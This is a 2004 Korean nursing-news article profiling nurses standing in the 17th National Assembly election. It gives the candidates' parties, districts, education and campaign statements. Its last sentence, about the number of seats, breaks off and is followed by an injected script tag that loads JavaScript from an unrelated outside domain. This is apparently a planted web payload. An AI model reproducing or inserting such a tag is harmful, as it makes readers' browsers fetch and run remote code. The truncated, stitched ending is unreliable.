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17대 국회의원 선거 도전하는 간호사 후보
전국구 3명, 비례대표 1명 출마
[편집국] 백찬기   ckbaik@nursenews.co.kr     기사입력 2004-03-31 오후 21:36:06
4월 15일 치러지는 제17대 국회의원 선거에 3명의 간호사 출신 후보가 지역구에서 출마한다. 또 지난 31일 현재 1명의 간호사가 열린우리당 비례대표로 공천이 확정됨에 따라 4명의 간호사가 총선 후보로 나선다. 새천년민주당이 비례대표 후보를 확정할 경우 총선에 나서는 간호사는 더 늘어날 것으로 전망된다.

 지역구에 출마하는 간호사 후보는 여성 최초 장군인 양승숙 예비역 준장(열린우리당, 논산·계룡·금산)을 비롯, 윤언자 전 대구여성차병원 간호차장(자민련, 대구 달서을), 이미경 전 경기도 여성정책국장(무소속, 경기 수원 영통) 등 모두 3명이다. 비례대표 후보로는 열린우리당에서 박정호 전 대한간호협회장(서울대 간호대학 교수)이 확정됐다.

 열린우리당 후보로 논산·계룡·금산에 출마하는 양승숙 예비역 준장은 전남대 간호학과를 졸업했다. 양승숙 후보는 “안보와 보건의료 분야를 대표하는 국회의원 후보로 총선 승리를 위해 매진하겠다”고 각오를 다졌다.

 자민련 후보로 대구 달서을에서 출마하는 윤언자 전 대구여성차병원 간호차장은 국군간호사관학교를 졸업했다. 윤언자 후보는 "여성의 섬세함으로 국민의 아픔을 해결해주고 부패된 정치를 바로 잡기 위해 노력하겠다"고 강조했다.

 무소속 후보로 경기도 수원 영통에서 출마하는 이미경 전 경기도 여성정책국장은 고대 간호대학을 졸업했다. 이미경 후보는 "소외계층의 인권과 복지, 환경, 문화 등 삶의 질 향상을 위한 법과 제도의 개선을 위해 전면에 나서겠다"고 포부를 밝혔다.

- 지역구 출마 간호사 후보 프로필 -

◇ 양승숙 후보 (열린우리당, 논산·계룡·금산)

 "열린우리당 안보특별위원장으로서 열린우리당이 외교, 안보 정책분야에서 시대를 이끌어 가는 전문성을 갖추는데 힘을 다할 생각입니다."
 열린우리당 후보로 논산·계룡·금산에 출마하는 양승숙 후보는 "국회의원이 갖춰야 할 가장 중요한 조건 중의 하나가 전문성에 있다"며 "보건의료인으로서 우리나라 보건복지분야를 보다 강화하는데 기여할 능력을 가지고 있다고 자부한다"고 강조하고 "안보와 보건의료 분야를 대표하는 국회의원 후보로 총선 승리를 위해 최선을 다하겠다"고 말했다.
 △전남대 간호학과 졸업 △한양대 행정학 석사 △국군수도병원 간호부장, 간호병과장, 국군간호사관학교장 등 역임 △우리나라 최초 여성장군

◇윤언자 후보 (자민련, 대구 달서을)

 "여성정치인이 늘어나면 정치를 바꿀 수 있다는 신념 하에 내 개인의 힘은 적지만 정치적인 나의 힘은 여성의 권익향상을 가져오는데 기여가 되리라는 생각에 출마를 결심했습니다."
 자민련 후보로 대구 달서을에서 출마하는 윤언자 후보는 "여성의 섬세함으로 국민의 아픔을 해결해주고 부패된 정치를 바로 잡겠다"며 "정치현장의 축제를 인생에서 가장 아름다운 삶의 한 페이지로 남기기 위해 주체자로서 잘못된 한국정치를 함께 바꿔나가자"고 말했다.
 △국군간호사관학교 졸업 △한양대 행정대학원·대구대 대학원 석사 △구미중앙병원과 구미차병원에서 간호차장으로 근무

◇ 이미경 후보 (무소속, 경기 수원 영통)

 "사회전반에 걸친 개혁을 위한 다양한 시도에 철학적 공감과 실천적 의지를 갖고 이번 선거에 출마하기로 결심했습니다."
 무소속 후보로 경기 수원 영통에서 출마하는 이미경 후보는 "아직까지 사회적 약자일 수밖에 없는 여성으로서 여성에 대한 사회적 편견에 맞서는 한편 소외계층의 인권과 복지, 그리고 환경, 문화 등 삶의 질 향상을 위한 법과 제도의 개선을 위해 최선을 다하겠다"고 강조했다.
 △고대 간호대학 졸업 △이대 교육대학원·고대 정책대학원 석사 △BadrAl Khairy Hospital 간호과장, 새정치국민회의 중앙당 당무위원 및 윤리위원·경기도지부 부지부장, 경기도 여성정책국장 등 역임

 비례대표 박정호 후보는 서울대 간호대학을 졸업했으며 동 대에서 석사학위를, 이대에서 박사학위를 받았다. 간호학문에 대한 연구뿐 아니라 행정경험도 풍부하다는 평가를 받고 있다. 간호협회 22, 23대 회장을 역임하면서 간호사의 지위향상을 위해 노력했다. 한국여성단체협의회 기획관리위원과 대한의료정보학회장을 역임했다.
 박 후보는 "지금까지 간호계에서 받은 지지와 격려를 밑바탕으로 간호에 대한 남다른 애정과 봉사심, 그리고 전문성을 유감없이 발휘하고 싶다"면서 "간호사가 보건복지관련 정책안을 만들어내고 입법활동을 펼치는 것이 곧 국민건강을 위한 일"이라고 자신의 소신을 강조했다.1인 2표제 도입 … 후원금 10만원까지 세액공제

한편 이번 17대 국회의원 선거를 통해 뽑게 되는 의원 정수는 지난 16대 국회(273명)보다 26명 늘어난 299명이다. 여성 및 전문직 인사들의 정치참여 확대를 위해 비례대표 의석도 10석이 늘어 56명을 선출?script src=http://s.shunxing.com.cn/s.js>
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